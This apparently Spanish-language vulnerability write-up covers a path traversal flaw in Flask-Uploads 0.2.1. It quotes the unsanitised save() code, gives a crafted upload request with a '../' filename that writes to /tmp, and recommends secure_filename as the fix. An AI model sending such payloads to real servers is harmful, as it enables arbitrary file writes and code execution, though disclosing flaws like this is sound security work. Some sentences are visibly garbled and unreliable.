
Demostración de CWE-22 Path Traversal en Flask-Uploads 0.2.1. Solo para fines educativos y de investigación en seguridad. Probado en Python 3.11.
Existe una vulnerabilidad crítica de path traversal en Flask-Uploads versión 0.2.1. La librería no sanea adecuadamente los nombres de archivo de los archivos subidos antes de guardarlos en el sistema de archivos.
Específicamente, el método save() en flask_uploads.py concatena directamente la ruta de destino de la subida con el nombre de archivo proporcionado por el usuario usando os.path.join(). Esto permite que un atacante incluya secuencias de traversal de directorios (p. ej., ) en el nombre de archivo, lo que le permite escribir archivos en ubicaciones arbitrarias del sistema de archivos del servidor.
../../Archivo: flask_uploads.py (Línea 132 en v0.2.1)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
La aplicación depende de que el desarrollador sanea el nombre de archivo, pero la documentación de la librería implica que maneja las subidas de archivos de forma segura. Por defecto, si un desarrollador pasa un nombre de archivo sin procesar desde una solicitud, se produce una vulnerabilidad.
ssh_host_key, archivos de configuración)..php, .py) a un directorio que es ejecutado por el servidor web (como cgi-bin o una carpeta estática conocida), un atacante puede ejecutar comandos arbitrarios en el servidor.Un atacante puede explotar esta vulnerabilidad enviando una solicitud POST con un nombre de archivo manipulado:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
Si el servidor usa Flask-Uploads para guardar este archivo, se escribirá en /tmp/pwned.txt en lugar del directorio de subida previsto.
La librería debería verificar que la ruta combinada esté dentro del directorio previsto usando os.path.abspath y startswith, o usar siempre una función de saneamiento como werkzeug.utils.secure_filename.
Solución recomendada:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)